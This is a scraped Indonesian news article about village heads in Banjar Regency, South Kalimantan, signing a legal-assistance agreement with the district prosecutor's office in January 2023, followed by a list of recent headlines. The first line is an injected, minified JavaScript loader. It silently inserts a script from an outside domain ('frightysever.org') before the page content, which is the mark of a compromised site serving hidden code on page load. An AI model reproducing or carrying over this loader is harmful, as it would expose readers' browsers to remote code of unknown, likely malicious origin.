(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pembakal Tandatangani Perjanjian Kerja Sama dengan Kejari Banjar


KANALKALIMANTAN.COM, MARTAPURA
Para pembakal (kepala desa) di Kabupaten Banjar mengikuti rapat koordinasi (rakoor) pambakal se-Kabupaten Banjar dan perjanjian kerja sama, di Aula Dinas Pendidikan, Martapura, Sabtu (28/1/2023) pagi.

Penandatanganan yang dimaksud adalah kesepakatan kerja sama dan perjanjian kerja sama antara Pemerintah Desa dan Kejaksaan Negeri Kabupaten Banjar.

Bupati Banjar H Saidi Mansyur melalui sambutan yang dibacakan Asisten Bidang Pemerintahan dan Kesra, H Masruri, menyatakan, penyelenggaraan pemerintahan desa berdasarkan ketentuan Undang-Undang Nomor 6 Tahun 2014 tentang desa terutama akuntabilitas, keterbukaan, efektifitas dan efisiensi.

Penandatanganan kesepakatan kerja sama dan perjanjian kerjasama antara Pemerintah Desa dan Kejaksaan Negeri Kabupaten Banjar, adalah sebagai bentuk perhatian pemerintah daerah yang berkewajiban dalam melakukan pembinaan dan pengawasan pemerintahan desa.

 

 

 

Baca juga : Mobil Polisi Diadang di Kebun Sawit, Kapolres Lamandau Minta Pelaku Serahkan Diri

“Pelaksanaan rakoor, kesepakatan dan perjanjian kerja sama ini sebagai momentum percepatan penyelenggaraan pemerintahan desa dan meningkatkan kinerja desa,” harap dia.

Kepala Kejakaaan Negeri Kabupaten Banjar, Muhammad Bardan menjelaskan, penandatangan perjanjian kerja sama antara Kejari dan Pambakal se-Kabupaten Banjar ini tentang pendampingan penanganan masalah hukum pada pemerintah desa, perdata dan tata usaha negara.

Selaku Jaksa Pengacara Negara (JPN) lanjut Bardan mempunyai tugas mendampingi seluruh pambakal, yaitu dibidang intelijen ada program jaga desa,dan dari pidana umum ada restorasi justice

“Kerjasama ini untuk mencegah atau menghindari hal-hal yang tidak diinginkan yang bertentangan dengan peraturan perundangan yang berlaku,” ungkap dia. (Kanalkalimantan.com/rls)

Reporter : Rls
Editor : Dhani


Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

19 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

22 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

1 hari ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.